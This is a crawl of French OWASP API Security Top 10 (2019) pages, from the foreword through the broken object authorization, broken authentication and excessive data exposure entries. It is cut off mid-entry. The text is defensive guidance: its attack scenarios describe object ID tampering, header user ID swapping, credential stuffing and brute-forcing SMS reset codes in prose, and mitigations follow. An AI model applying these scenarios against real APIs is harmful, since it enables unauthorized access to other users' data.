API Security Top 10", "h1": "Avant-propos", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0x02-foreword/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Avant-propos"}], "markdown": "# Avant-propos\n\nL'Application Programming Interface (API), en français interface de programmation applicative, est un élément fondateur des\napplications omniprésentes dans le monde actuel. Des banques, commerces, du\ntransport à l'IoT, aux véhicules autonomes et aux villes intelligentes, les API\nforment une partie critique des applications mobiles, Saas et web modernes que\nl'on trouve dans des applications destinées aux consommateurs, aux partenaires\nou aux usages internes.\n\nPar nature, les API exposent la logique applicative et des données sensibles\ntelles que des données personnelles, et de ce fait les API sont devenues une\ncible pour des attaquants. Sans des API sécurisées, l'innovation rapide serait\nimpossible.\n\nBien qu'un Top 10 plus large sur les risques de sécurité des applications web\nfasse toujours sens, du fait de leur nature particulière, une liste des risques\nspécifiques aux API est nécessaire. La sécurité des API se concentre sur des\nstratégies et des solutions pour comprendre et corriger les vulnérabilités et\nrisques de sécurité uniques aux API.\n\nSi vous êtes familiarisés avec le projet [OWASP Top 10](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project), vous aurez alors\nremarqué des similarités entre les deux documents : ils sont conçus pour être\nlisibles et adoptés. Si vous découvrez la série OWASP Top 10, il vaudrait\npeut-être mieux commencer par lire les sections [Risques de sécurité des API](../0x10-api-security-risks/)\net [Méthodologie et données](../0xd0-about-data/) avant de vous plonger dans la liste du Top 10.\n\nVous pouvez contribuer à l'OWASP API Security Top 10 avec vos questions,\ncommentaires et idées sur notre dépôt GitHub du projet :\n\n- https://github.com/OWASP/API-Security/issues\n- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md\n\nVous trouverez l'OWASP API Security Top 10 ici :\n\n- https://www.owasp.org/index.php/OWASP_API_Security_Project\n- https://github.com/OWASP/API-Security\n\nNous voulons remercier tous les contributeurs qui ont rendu ce projet possible\ngrâce à leurs efforts et leurs contributions. Ils sont tous listés dans la\n[section des remerciements](../0xd1-acknowledgments/). Merci !", "znaku_textu": 2171, "slov": 300, "odkazu": 62, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:48", "sha256": "78d63435003b781d62a2c911bf4d7ccd83031e61af9d7afe2c899dd31fc64fa6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0x03-introduction/", "titulek": "Introduction - OWASP API Security Top 10", "h1": "Introduction", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0x03-introduction/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "Bienvenue à l'OWASP API Security Top 10 - 2019 !"}], "markdown": "# Introduction\n\n## Bienvenue à l'OWASP API Security Top 10 - 2019 !\n\nBienvenue à la première édition du projet OWASP API Security Top 10. Si vous\nconnaissez les séries OWASP Top 10, vous remarquerez les similarités : elles\nsont voulues pour faciliter en la lisibilité l'adoption. Si ce n'est pas votre\ncas, vous pouvez commencer par consulter la [page wiki de l'OWASP\nAPI Security Project](https://www.owasp.org/index.php/OWASP_API_Security_Project), avant d'approfondir avec les risques de sécurité les\nplus critiques des API.\n\nLes API jouent un rôle très important dans l'architecture des applications\nmodernes. Dans la mesure où la création d'une prise de conscience de la sécurité\net l'innovation ont des rythmes différents, il est important de se concentrer\nsur les vulnérabilités de sécurité courantes des API.\n\nL'objectif principal du projet OWASP API Security Top 10 est d'éduquer ceux qui\nsont impliqués dans le développement et la maintenance des API, notamment :\ndéveloppeurs, designers, architectes, managers, ainsi que les organisations.\n\nDans la section [méthodologie et Données](../0xd0-about-data/), vous pouvez en lire davantage sur\nla manière dont cette première édition a été créée. Pour les prochaines versions,\nnous voulons impliquer l'industrie de la sécurité, avec un appel public à\ninformations. Pour le moment, nous encourageons chacun à contribuer avec des\nquestions, des commentaires ou des idées sur notre [dépôt GitHub](https://github.com/OWASP/API-Security) ou notre\n[liste de diffusion](https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project).", "znaku_textu": 1581, "slov": 222, "odkazu": 64, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:57", "sha256": "27d846ff8e77a7aa5a443c0ae8331be272dc90999e4f8cd5d2a55eb933cca7eb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_API_Security_Project", "https://groups.google.com/a/owasp.org/forum/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0x04-release-notes/", "titulek": "Notes de versions - OWASP API Security Top 10", "h1": "Notes de versions", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0x04-release-notes/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Notes de versions"}], "markdown": "# Notes de versions\n\nCeci est la première édition de l'OWASP API Security Top 10, que nous prévoyons\nde mettre à jour périodiquement, tous les trois ou quatre ans.\n\nContrairement à cette version, nous voulons pour les futures versions lancer un\nappel public à données, impliquant le secteur de la sécurité dans cette démarche.\nDans la section [Méthodologie et Données](../0xd0-about-data/), vous trouverez plus d'informations\nsur la manière dont cette version a été construite. Pour plus de détails sur les\nriques de sécurité, veuillez vous référer à la section\n[Risques de Sécurité des API](../0x10-api-security-risks/).\n\nIl est important d'être conscient que l'architecture des applications a\nconsidérablement changé au cours des dernières années. Actuellement les API\njouent un rôle très important dans cette nouvelle architecture de microservices,\nde *single page applications*, d'applis mobiles, d'IoT, etc.\n\nL'OWASP API Security Top 10 était un effort nécessaire pour créer une prise de\nconscience des questions de sécurité des API modernes. Cela n'a été possible que\ngrâce aux efforts considérables de plusieurs volontaires, qui sont tous\nrépertoriés dans la section [Remerciements](../0xd1-acknowledgments/).\nMerci !", "znaku_textu": 1217, "slov": 182, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:07", "sha256": "234f1754047613ed5087091eadc20e63c2487bff3b2204aa5aaae176325d0a69", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0x10-api-security-risks/", "titulek": "Risques de sécurité des API - OWASP API Security Top 10", "h1": "Risques de sécurité des API", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0x10-api-security-risks/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Risques de sécurité des API"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# Risques de sécurité des API\n\nLa [méthodologie d'évaluation de risques OWASP](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) a été utilisée pour effectuer l'analyse de risques.\n\nLa table ci-dessous résume la terminologie associée au niveau de risque.\n\n| Facteurs de menace | Exploitabilité | Prévalence de la faille | Détectabilité de la faille | Impact technique | Impact organisationnel |\n| --- | --- | --- | --- | --- | --- |\n| Spécifique API | Facile: **3** | Répandu **3** | Facile **3** | Sévère **3** | Spécifique à l'organisation |\n| Spécifique API | Moyen: **2** | Commune **2** | Moyenne **2** | Modéré **2** | Spécifique à l'organisation |\n| Spécifique API | Difficile: **1** | Difficile **1** | Difficile **1** | Mineure **1** | Spécifique à l'organisation |\n\n**Note**: Cette approche ne prend pas en compte la probabilité du facteur de\nmenace. Elle ne prend pas non plus en compte les différents détails techniques\nspécifiques à votre application. Ces facteurs pourraient modifier de manière\nsignificative la probabilité globale qu'un attaquant trouve et exploite une\nvulnérabilité particulière. Cette évaluation ne prend pas en compte l'impact\nréel sur votre activité. Votre organisation devra décider quel niveau de risque\nde sécurité elle est prête à accepter pour vos applications et vos API en\nfonction de votre culture, votre secteur d'activité et votre environnement\nréglementaire. L'objet du projet OWASP API Security Top 10 n'est pas d'effectuer\ncette analyse de risques à votre place.\n\n## Références\n\n### OWASP\n\n- [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology)\n- [Article on Threat/Risk Modeling](https://www.owasp.org/index.php/Threat_Risk_Modeling)\n\n### Externes\n\n- [ISO 31000: Risk Management Std](https://www.iso.org/iso-31000-risk-management.html)\n- [ISO 27001: ISMS](https://www.iso.org/isoiec-27001-information-security.html)\n- [NIST Cyber Framework (US)](https://www.nist.gov/cyberframework)\n- [ASD Strategic Mitigations (AU)](https://www.asd.gov.au/infosec/mitigationstrategies.htm)\n- [NIST CVSS 3.0](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)\n- [Microsoft Threat Modeling Tool](https://www.microsoft.com/en-us/download/details.aspx?id=49168)", "znaku_textu": 2089, "slov": 241, "odkazu": 72, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:15", "sha256": "d0aa6254d42a9325da19aef6c484e2dc5dcdaec7db49e89b14b60c01dceb9a90", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology", "https://www.owasp.org/index.php/Threat_Risk_Modeling", "https://www.iso.org/iso-31000-risk-management.html", "https://www.iso.org/isoiec-27001-information-security.html", "https://www.nist.gov/cyberframework", "https://www.asd.gov.au/infosec/mitigationstrategies.htm", "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator", "https://www.microsoft.com/en-us/download/details.aspx?id=49168", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0x11-t10/", "titulek": "OWASP Top 10 Risques de sécurité des API – 2019 - OWASP API Security Top 10", "h1": "OWASP Top 10 Risques de sécurité des API – 2019", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0x11-t10/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10 Risques de sécurité des API – 2019"}], "markdown": "# OWASP Top 10 Risques de sécurité des API – 2019\n\n| Risque | Description |\n| --- | --- |\n| API1:2019 - Broken Object Level Authorization | Les API ont tendance à exposer des points d'accès (endpoints) qui gèrent les identifiants d'objets (OID), créant une large surface d'attaque des contrôles de niveaux d'accès. Des contrôles d'autorisation doivent être effectués pour toute fonction qui accède à une source de données à partir d'entrées fournies par un utilisateur. |\n| API2:2019 - Broken User Authentication | Les mécanismes d'authentification sont souvent implémentés incorrectement, permettant à des attaquants de compromettre des jetons (tokens) d'authentification ou d'exploiter des failles d'implémentation afin d'endosser temporairement ou de manière permanente l'identité d'autres utilisateurs. L'incapacité, pour un système, à identifier le client / utilisateur de manière fiable compromet la sécurité de l'API dans son ensemble. |\n| API3:2019 - Excessive Data Exposure | En effectuant des implémentations génériques rapides, les développeurs ont tendance à exposer tous les attributs des objets sans prendre en considération leur confidentialité individuelle, se reposant sur les clients d'API pour effectuer un filtrage des données avant présentation à l'utilisateur. |\n| API4:2019 - Lack of Resources & Rate Limiting | Bien souvent, les API n'imposent pas de restrictions sur la taille ou le nombre de ressources qui peuvent être requises par le client / l'utilisateur. Ceci impacte non seulement la performance du serveur d'API, aboutissant à un Déni de Service (DoS), mais cela constitue aussi une porte ouverte pour des failles d'authentification par force brute. |\n| API5:2019 - Broken Function Level Authorization | Les politiques de contrôle d'accès complexes avec des hiérarchies, groupes et rôles différents, et la séparation non claire entre les fonctions normales et d'administration tendent à occasionner des failles d'authentification. En exploitant ces problèmes, les attaquants parviennent à accéder aux ressources d'autres utilisateurs et / ou aux fonctions d'administration. |\n| API6:2019 - Mass Assignment | La connexion de données fournies par le client (ex : JSON) aux modèles de données sans filtrage approprié par une liste de validation conduit généralement à l'assignation massive. En devinant les attributs des objets, en explorant les autres points d'accès de l'API, en lisant la documentation ou en incluant des attributs supplémentaires dans la charge utile (payload) des requêtes, les attaquants parviennent à modifier les attributs d'objets qu'ils ne devraient pas pouvoir modifier. |\n| API7:2019 - Security Misconfiguration | Une mauvaise configuration de sécurité est souvent le résultat de configurations par défauts non sécurisées, de configurations incomplètes ou ad-hoc, de stockages ouverts dans le cloud, d'en-têtes HTTP mal configurés, de méthodes HTTP non nécessaires, de partage de ressources intersites permissives (CORS), et de messages d'erreurs verbeux contenant des informations sensibles. |\n| API8:2019 - Injection | Les failles d'injection telles que SQL, NoSQL, injection de commandes, etc, se produisent lorsque des données non fiables sont transmises à un interpréteur comme partie d'une commande ou d'une requête. Les données malveillantes de l'attaquant peuvent tromper l'interpréteur et lui faire exécuter des commandes non prévues ou accéder à des données sans disposer des autorisations nécessaires. |\n| API9:2019 - Improper Assets Management | Les API ont tendance à exposer plus de points d'accès que les applications web traditionnelles, rendant très importante la nécessité d'une documentation appropriée et actualisée. Un inventaire précis des hôtes et des versions d'API déployées joue également un rôle important pour prévenir les problèmes tels que les versions obsolètes d'API et l'exposition des points de déboggage. |\n| API10:2019 - Insufficient Logging & Monitoring | L'insuffisance de logging et de monitoring, couplée à une intégration insuffisante ou absente à la réponse aux incidents, permet aux attaquants de poursuivre leurs attaques sur les systèmes, de s'y maintenir de manière persistante, et de rebondir sur d'autres systèmes pour compromettre, extraire ou détruire des données. La plupart des études de failles montrent que le temps nécessaire pour détecter une intrusion est supérieur à 200 jours, typiquement découverte par des tiers externes plutôt que par des processus ou un monitoring interne. |", "znaku_textu": 4416, "slov": 620, "odkazu": 61, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:24", "sha256": "9fa12501cc1352702211cd059396f517c08202a9afaa3de2d2f03422914853f8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xa1-broken-object-level-authorization/", "titulek": "API1:2019 Broken Object Level Authorization - OWASP API Security Top 10", "h1": "API1:2019 Broken Object Level Authorization", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xa1-broken-object-level-authorization/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API1:2019 Broken Object Level Authorization"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemples de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API1:2019 Broken Object Level Authorization\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique API : Exploitabilité **3** | Prévalence **3** : Détectabilité **2** | Technique **3** : Spécifique à l'organisation |\n| Des attaquants peuvent exploiter des points d'accès d'API qui sont vulnérables à la faille de niveau d'autorisation en manipulant l'ID d'un objet qui est envoyé avec la requête. Ceci peut entrainer à un accès non autorisé à des données sensibles. Ce problème est extrêmement commun dans les applications basées sur des API parce que le composant serveur ne suit pas complètement l'état du client, et au lieu de cela, s'appuie davantage sur des paramètres comme les ID objets, qui sont envoyés par le client, pour déterminer à quel objet accéder. | Cette attaque est la plus courante et la plus impactante sur les APIs. Les mécanismes d'autorisation et de contrôle d'accès des applications modernes sont complexes et étendus. Même si l'application implémente une infrastructure adaptée pour les contrôles d'autorisations, les développeurs peuvent oublier d'utiliser ces contrôles avant d'autoriser l'accès à un objet sensible. La détection de contrôles d'accès ne se prête typiquement pas à des tests statiques ou dynamiques automatisés. | Un accès non autorisé peut aboutir à la diffusion de données à des tiers non autorisés, des pertes de données, ou des manipulations de données. Un accès non autorisé aux objets peut aussi aboutir à une prise de contrôle complète d'un compte. |\n\n## L'API est-elle vulnérable ?\n\nL'autorisation au niveau de l'objet est un mécanisme de contrôle d'accès qui est généralement implémenté au niveau du code pour valider qu'un utilisateur puisse uniquement accéder aux objets auxquels il doit avoir accès.\n\nChaque point d'accès d'API qui reçoit l'ID d'un objet, et effectue une action quelconque sur l' objet, doit implémenter des contrôles d'accès au niveau de l'objet. Les contrôles doivent valider que l'utilisateur connecté dispose de l'accès pour effectuer l'action requise sur l'objet requis.\n\nDes vulnérabilités de ce mécanisme entraînent typiquement des diffusions non autorisées d'information, la modification ou la destruction de toutes les données.\n\n## Exemples de scénarios d'attaque\n\n### Scénario #1\n\nUne plateforme de commerce électronique pour des magasins en ligne (boutiques) comporte une page listant les diagrammes de vente pour les boutiques hébergées. Examinant les requêtes du navigateur, un attaquant peut identifier les points d'accès de l'API utilisés comme sources de données pour ces diagrammes et leur schéma `/shops/{shopName}/revenue_data.json`. Utilisant un autre point d'accès de l'API, l'attaquant peut obtenir la liste de tous les noms des boutiques hébergées. Avec un simple script pour manipuler les noms de la liste, remplaçant `{shopName}` dans l'URL, l'attaquant obtient l'accès aux données de vente de milliers de boutiques de commerce électronique.\n\n### Scénario #2\n\nObservant le trafic réseau d'un appareil de poche, la requête HTTP `PATCH` suivante attire l'attention d'un attaquant du fait de la présence d'un en-tête HTTP personnalisé `X-User-Id: 54796`. Remplaçant la valeur `X-User-Id` par `54795`, l'attaquant obtient une réponse HTTP valide, et est en mesure de modifier les données des autres comptes utilisateurs.\n\n- Implémentez un véritable mécanisme d'autorisation qui s'appuie sur des droits\n utilisateurs et sur une hiérarchie.\n- Utilisez un mécanisme d'autorisation pour vérifier si l'utilisateur connecté est\n autorisé à effectuer l'action requise sur l'enregistrement pour toute fonction\n qui utilise une entrée du client pour accéder à un enregistrement dans la base\n de données.\n- Préférez l'utilisation de valeurs aléatoires et non prévisibles comme GUIDs pour\n les ID des enregistrements.\n- Écrivez des tests pour évaluer les mécanismes d'autorisation. Ne déployez pas des\n modifications vulnérables qui ne passent pas les tests.\n\n## Références\n\n### Externes\n\n- [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html)\n- [CWE-285: Improper Authorization](https://cwe.mitre.org/data/definitions/285.html)\n- [CWE-639: Authorization Bypass Through User-Controlled Key](https://cwe.mitre.org/data/definitions/639.html)", "znaku_textu": 4207, "slov": 604, "odkazu": 71, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:33", "sha256": "1f333d13d6403aef9103727e22b70cbe2a3eee45885dd593e865e04ac509c359", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://cwe.mitre.org/data/definitions/284.html", "https://cwe.mitre.org/data/definitions/285.html", "https://cwe.mitre.org/data/definitions/639.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xa2-broken-user-authentication/", "titulek": "API2:2019 Broken User Authentication - OWASP API Security Top 10", "h1": "API2:2019 Broken User Authentication", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xa2-broken-user-authentication/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API2:2019 Broken User Authentication"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemples de scénarios d'attaque"}, {"uroven": 2, "text": "Scenario #1"}, {"uroven": 2, "text": "Scenario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "OWASP"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API2:2019 Broken User Authentication\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique API : Exploitabilité **3** | Prévalence **2** : Détectabilité **2** | Technique **3** : Spécifique à l'organisation |\n| L'authentification dans les API est un mécanisme complexe et source de confusions. Les ingénieurs logiciel et en sécurité peuvent avoir une vision faussée sur les limites que peut avoir un shéma d'authentification et la manière de l'implanter correctement. De plus, le mécanisme d'authentification est une cible facile pour les attaquants, dans la mesure où elle est accessible à tous. Ces deux points rendent le composant d'authentification potentiellement vulnérable à de nombreuses exploitations. | On distingue deux sous-problèmes : 1. Manque de mécanismes de protection : les points d'accès d'API responsables de l'authentification doivent être traités différemment des autres points d'accès et doivent implémenter des niveaux de protection supplémentaires 2. Mauvaise implémentation du mécanisme : Le mécanisme est utilisé / implémenté sans prendre en considération les vecteurs d'attaque, ou n'est pas utilisé à bon escient (ex. un mécanisme d'authentification conçu pour des clients IoT n'est probablement pas le bon choix pour des applications web). | Des attaquants peuvent prendre le contrôle des comptes d'autres utilisateurs dans le système, lire leurs données personnelles, et effectuer des actions sensibles à leur place, comme des transactions financières ou l'envoi de messages personnels. |\n\n## L'API est-elle vulnérable ?\n\nLes points d'accès et les flux d'authentification sont des ressources qui doivent être protégées. “Mot de passe oublié / changement de mot de passe” doivent être traités de la même manière que les mécanismes d'authentification.\n\nUne API est vulnérable si elle :\n* Permet le [bourrage d'identifiants](https://www.owasp.org/index.php/Credential_stuffing) quand l'attaquant dispose d'une liste de noms\n d'utilisateurs et de mots de passe.\n* Permet à des attaquants d'effectuer une attaque par force brute sur le même compte\n utilisateur, sans présenter de captcha ou de mécanisme de blocage.\n* Permet des mots de passe faibles.\n* Envoie des éléments d'authentification sensibles, tels que des tokens\n d'authentification ou des mots de passe dans l'URL.\n* Ne valide pas l'authenticité des tokens.\n* Accepte des tokens JWT non signés / faiblement signés (`\"alg\":\"none\"`) / ne\n valide pas leur date d'expiration.\n* Utilise des mots de passe en clair, non chiffrés ou faiblement hashés.\n* Utilise des clés de chiffrement faibles.\n\n## Exemples de scénarios d'attaque\n\n## Scenario #1\n\nLe [bourrage d'identifiants](https://www.owasp.org/index.php/Credential_stuffing) (utilisant des [listes de noms d'utilisateurs / mots de passe connus](https://github.com/danielmiessler/SecLists)), est une attaque courante. Si une application n'implémente pas de protections automatisées contre les menaces ou le bourrage d'identifiants, l'application peut être utilisée comme oracle à mots de passe (testeur) pour déterminer si les identifiants sont valides.\n\n## Scenario #2\n\nUn attaquant commence le processus de récupération de mot de passe en émettant une requête POST vers `/api/system/verification-codes` comportant le nom d'utilisateur dans le corps de la requête. Ensuite un token à 6 chiffres est envoyé par SMS sur le téléphone de la victime. Comme l'API n'implémente pas de mécanisme limitant les requêtes, l'attaquant peut tester toutes les combinaisons possibles en utilisant un script multi-threadé contre le point d'accès `/api/system/verification-codes/{smsToken}` pour découvrir le bon token en l'espace de quelques minutes.\n\n- Assurez-vous de connaitre tous les flux possibles pour s'identifier auprès de\n l'API (mobile / web / liens profonds qui implémentent l'authentification en un\n clic / etc.)\n- Demandez à vos ingénieurs quels flux vous avez oubliés.\n- Documentez-vous sur vos mécanismes d'authentification. Assurez-vous de comprendre\n ce qui est utilisé et comment. OAuth n'est pas une authentification, les clés\n d'API non plus.\n- Ne réinventez pas la roue en matière d'authentification, de génération de tokens,\n de stockage de mots de passe. Utilisez les standards.\n- Les points d'accès de récupération / d'oubli de mot de passe doivent être traités\n comme des points d'accès de login en termes de force brute, limitation de requêtes\n et de protection par blocage.\n- Utilisez la [cheatsheet OWASP Authentication](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html) .\n- Quand c'est possible, implémentez l'authentification multi-facteurs.\n- Implémentez des mécanismes anti force brute pour empêcher le bourrage\n d'identifiants, les attaques par dictionnaire, et les attaques par force brute\n contre vos points d'accès d'authentification. Ce mécanisme devrait être plus strict\n que le mécanisme de limitation de requêtes normal de votre API.\n- Implémentez [le blocage de compte](https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)) / un mécanisme de captcha pour empêcher\n l'emploi de force brute contre des utilisateurs spécifiques. Implementez des\n mesures pour une meilleure robustesse des mots de passe.\n- Les clés d'API ne doivent pas être utilisées pour authentifier un utilisateur,\n mais pour les [applications clientes / authentification de projets](https://cloud.google.com/endpoints/docs/openapi/when-why-api-key) .\n\n## Références\n\n### OWASP\n\n- [OWASP Key Management Cheat Sheet](https://www.owasp.org/index.php/Key_Management_Cheat_Sheet)\n- [OWASP Authentication Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [Credential Stuffing](https://www.owasp.org/index.php/Credential_stuffing)\n\n### Externes\n\n- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html)", "znaku_textu": 5807, "slov": 763, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:40:47", "sha256": "3b4bbc259f2d805eec90df429eb110a364175129f5f9ef11ceda740c402f0f52", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://www.owasp.org/index.php/Credential_stuffing", "https://github.com/danielmiessler/SecLists", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)", "https://cloud.google.com/endpoints/docs/openapi/when-why-api-key", "https://www.owasp.org/index.php/Key_Management_Cheat_Sheet", "https://cwe.mitre.org/data/definitions/798.html", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/API-Security/editions/2019/fr/0xa3-excessive-data-exposure/", "titulek": "API3:2019 Excessive Data Exposure - OWASP API Security Top 10", "h1": "API3:2019 Excessive Data Exposure", "popis": "The Ten Most Critical API Security Risks", "klicova_slova": "", "kanonicka": "https://owasp.org/API-Security/editions/2019/fr/0xa3-excessive-data-exposure/", "jazyk": "fr", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "API3:2019 Excessive Data Exposure"}, {"uroven": 2, "text": "L'API est-elle vulnérable ?"}, {"uroven": 2, "text": "Exemples de scénarios d'attaque"}, {"uroven": 3, "text": "Scénario #1"}, {"uroven": 3, "text": "Scénario #2"}, {"uroven": 2, "text": "Références"}, {"uroven": 3, "text": "Externes"}], "markdown": "# API3:2019 Excessive Data Exposure\n\n| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact |\n| --- | --- | --- |\n| Spécifique API : Exploitabilité **3** | Prévalence **2** : Détectabilité **2** | Technique **2** : Spécifique à l'organisation |\n| L'exploitation d'exposition excessive de données est simple, et est généralement effectuée en écoutant le trafic pour analyser les réponses de l'API, à la recherche de données sensibles qui ne devraient pas être retournées à l'utilisateur. | Les API comptent sur les clients pour effectuer le filtrage des données. Comme les API sont utilisées comme sources de données, les développeurs les implémentent parfois de manière générique sans penser au caractère sensible des données diffusées. En général les outils automatiques ne permettent pas de détecter ce type de vulnérabilité car il est difficile de faire la différence entre les données légitimement retournées par l'API, et des données sensibles qui ne devraient pas être retournées sans une compréhension en profondeur de l'application. | L'exposition excessive de données conduit généralement à la diffusion de données sensibles. |\n\n## L'API est-elle vulnérable ?\n\nPar conception, l'API retourne des données sensibles au client. De plus, ces données sont généralement filtrées côté client avant d'être présentées à l'utilisateur. Un attaquant peut facilement écouter le trafic et voir les données sensibles.\n\n## Exemples de scénarios d'attaque\n\n### Scénario #1\n\nL'équipe mobile utilise le point d'accès `/api/articles/{articleId}/comments/{commentId}`\ndans la vue des articles pour le rendu des métadonnées des commentaires. Ecoutant le trafic de l'application mobile, un attaquant découvre que d'autres données sensibles relatives à l'auteur du commentaire sont également retournées. L'implémentation du point d'accès utilise une méthode générique `toJSON()` sur le modèle `User`, qui contient des données personnelles, pour sérialiser l'objet.\n\n### Scénario #2\n\nUn système de surveillance à base d'IoT permet aux administrateurs de créer des utilisateurs avec différentes permissions. Un administrateur a créé un compte utilisateur pour un nouvel agent de sécurité qui ne devrait avoir accès qu'à certains bâtiments spécifiques sur le site. Quand l'agent de sécurité utilise son appli mobile, un appel d'API est effectué vers `/api/sites/111/cameras` pour recevoir des données à propos des caméras disponibles et les montrer sur un tableau de bord. La réponse contient une liste avec des informations sur les caméras au format suivant : `{\"id\":\"xxx\",\"live_access_token\":\"xxxx-bbbbb\",\"building_id\":\"yyy\"}`.\nSi l'interface graphique du client montre uniquement les caméras auxquelles l'agent de sécurité doit avoir accès, la réponse de l'API contient en réalité la liste complète de toutes les caméras présentes sur le 